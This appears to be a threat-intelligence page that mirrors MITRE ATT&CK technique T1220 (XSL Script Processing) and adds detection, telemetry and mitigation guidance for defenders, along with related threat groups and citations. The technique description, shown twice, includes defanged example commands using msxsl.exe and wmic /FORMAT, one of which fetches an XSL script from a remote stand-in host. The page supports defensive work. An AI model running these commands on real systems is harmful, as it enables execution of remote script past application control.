T1220: XSL Script Processing
Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. [1]
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) [2] can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. [3] Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. [4] Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.[5]
* msxsl.exe customers[.]xml script[.]xsl * msxsl.exe script[.]xsl script[.]xsl * msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.[6] This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.[5]
* Local File: wmic process list /FORMAT:evil[.]xsl * Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”
Analyst context for executives and security teams
XSL Script Processing matters because it turns a normal Windows data-transformation capability into a way to run script code while blending into trusted tooling. For leaders, the risk is not the XSL file format itself; it is whether Windows endpoints allow unapproved utilities, remote-referenced stylesheets, or WMI formatting behavior to execute code outside normal application-control expectations.
Executive priority
Prioritize this as a Windows execution-control and SOC visibility validation item. It is relevant to application control assurance, incident response triage, and audit evidence because ATT&CK notes abuse of msxsl.exe, arbitrary file extensions, local or remote XSL files, and WMI /FORMAT behavior. Executives should ask whether application control covers non-default utilities that may be dropped by an adversary, whether WMI activity is logged and reviewed, and whether controls prevent unauthorized script execution rather than only blocking known malware files.
Technical view
For SOC, detection engineering, and IR teams, validate coverage for suspicious use of msxsl.exe and wmic.exe involving XSL content, unusual file extensions, local or URL-referenced stylesheets, and WMI aliases using the /FORMAT switch. ATT&CK provides no official detection text, but the related detection strategy DET0205 specifically targets XSL script abuse via msxsl and wmic. Because msxsl.exe is not installed by default, its presence or execution on endpoints can be an important triage signal, especially when paired with dropped files, script execution, or network access to stylesheet content.
Likely telemetry
- Windows process creation events with command-line arguments
- Parent-child process relationships for msxsl.exe and wmic.exe
- File creation and file execution telemetry for msxsl.exe, XSL/XML-like content, and suspicious arbitrary extensions
- Network telemetry showing command-line utilities retrieving remote XSL or stylesheet content
- WMI activity logs, especially use of aliases and formatting options
Detection direction
- Validate DET0205-style analytics for msxsl.exe execution and wmic.exe use with /FORMAT referencing local or remote XSL-like content.
- Treat msxsl.exe execution as higher-signal where it is newly present, launched from user-writable locations, packaged with other dropped files, or not part of an approved administrative workflow.
- Tune for false positives from legitimate XML/XSL transformation or administrative WMI inventory activity by baselining expected hosts, users, paths, and command-line patterns.
- Look for content masquerading through arbitrary extensions, since ATT&CK notes XML/XSL files may be given nonstandard extensions.
- Correlate process execution with network retrieval, file writes, and subsequent script or child-process activity rather than relying on filename alone.
Mitigation priorities
- Implement or review Execution Prevention controls under M1038, including application control and script-blocking policies for unauthorized code execution.
- Explicitly decide whether msxsl.exe is allowed in the environment; because it is not installed by default, restrict unapproved copies and monitor for introduction of the binary.
- Constrain WMI use to authorized administrative workflows and monitor formatting behavior that references local or remote XSL content.
- Ensure application control policies account for trusted-tool proxy execution patterns, not only known malicious executables.
- Use IR playbooks to collect command lines, referenced XSL/XML files, network destinations, and application-control decisions when this behavior appears.
Analyst notes and limits
Relationship context shows this technique is used by Operation Dream Job, Cobalt Group, Higaisa, and Astaroth, so it has relevance across campaign, group, and software reporting. Those relationships should guide threat-informed prioritization, but they do not prove current activity in any specific environment. The related mitigation is M1038 Execution Prevention, and the related detection strategy is DET0205.
The ATT&CK object does not provide official detection guidance, so detection recommendations are derived from the supplied description, platforms, relationships, and related detection strategy name. Local baselines are required to distinguish legitimate XSL transformation and WMI administration from suspicious use. No claim is made here about active exploitation, customer exposure, or guaranteed detection.
XSL Script Processing
Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. [1]
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) [2] can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. [3] Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. [4] Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.[5]
* msxsl.exe customers[.]xml script[.]xsl * msxsl.exe script[.]xsl script[.]xsl * msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.[6] This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.[5]
* Local File: wmic process list /FORMAT:evil[.]xsl * Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”
How security teams should use this page
Treat this object as behavior context, not an attribution claim. Validate the related groups, software, data sources, and mitigations against official ATT&CK relationships and your own telemetry before making control-coverage decisions.
Groups, software, and campaigns
G0080: Cobalt Group
Cobalt Group is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. Cobalt Group has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.[1][2][3][4][5][6][7] Reporting indicates there may be links between Cobalt Group and both the malware Carbanak and the group Carbanak.[8]
G0126: Higaisa
Higaisa is a threat group suspected to have South Korean origins. Higaisa has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. Higaisa was first disclosed in early 2019 but is assessed to have operated as early as 2009.[1][2][3]
S0373: Astaroth
C0022: Operation Dream Job
Operation Dream Job was a cyber espionage operation likely conducted by Lazarus Group that targeted the defense, aerospace, government, and other sectors in the United States, Israel, Australia, Russia, and India. In at least one case, the cyber actors tried to monetize their network access to conduct a business email compromise (BEC) operation. In 2020, security researchers noted overlapping TTPs, to include fake job lures and code similarities, between Operation Dream Job, Operation North Star, and Operation Interception; by 2022 security researchers described Operation Dream Job as an umbrella term covering both Operation Interception and Operation North Star.[1][2][3][4]
All related ATT&CK context
Mitigation direction
Object version and sync metadata
The fields below describe the current mirrored snapshot. When Glexia retains multiple ATT&CK source imports, you can open the table to compare the same object across releases (hashes and MITRE timestamps). For MITRE’s own release notes and roadmap, see ATT&CK resources — Updates .
Imported snapshots across ATT&CK releases (1)
| Release | Bundle imported | Object version | Modified | Status | Raw hash |
|---|---|---|---|---|---|
| 19.1 | 2.0 | Current bundle | 2f47a92290af… |
Mirrored ATT&CK source object
The raw object is retained through the mirrored ATT&CK source bundle and object hash. The raw endpoint returns the exact object from the mirrored bundle when available.
External references and citations
MITRE external references are preserved separately from Glexia analysis so citations remain traceable to their original source records.
-
[1]
Microsoft XSLT Script Mar 2017
Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using <msxsl:script>. Retrieved July 3, 2018.
Open source URL -
[2]
Microsoft msxsl.exe
Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.
Open source URL -
[3]
Penetration Testing Lab MSXSL July 2017
netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.
Open source URL -
[4]
Reaqta MSXSL Spearphishing MAR 2018
Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.
Open source URL -
[5]
XSL Bypass Mar 2019
Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019.
Open source URL -
[6]
LOLBAS Wmic
LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.
Open source URL -
[7]
mitre-attack T1220Open source URL
Source: MITRE ATT&CK®. © 2026 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation. Glexia is not affiliated with or endorsed by MITRE.